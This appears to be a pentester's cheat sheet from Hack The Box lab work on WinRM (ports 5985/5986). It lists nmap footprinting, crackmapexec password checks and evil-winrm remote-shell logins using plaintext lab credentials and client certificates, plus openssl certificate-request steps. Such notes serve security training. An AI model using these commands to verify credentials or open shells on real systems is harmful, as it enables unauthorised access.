[5985/5986] WinRM


#Footprinting
Intrusionz3r0X@htb[/htb]$ nmap -sV -sC 10.129.201.248 -p5985,5986 --disable-arp-ping -n

#Verify password
Intrusionz3r0X@htb[/htb]$ crackmapexec winrm 10.10.11.222 -u 'ansible' -p 'DevT3st@123'

# Log into WinRM
Intrusionz3r0X@htb[/htb]$ evil-winrm -i 10.129.201.248 -u Cry0l1t3 -p P455w0rD!

Evil-winrm with certificate

Intrusionz3r0X@htb[/htb]$ evil-winrm -S -i 10.10.10.103 -u 'amanda' -p 'Ashare1972' -c certnew.cert -k mykey.key

If you face something like this you must create a certificate request so that the server issue the certificate to download.

# Generate private key
openssl genrsa -out mykey.key 2048

# Create a certificate signing request (CSR)
openssl req -new -key mykey.key -out request.csr

Copy and past the request.csr content, paste it and submit. if everything is fine, the server will issue a certificate to use.

Last updated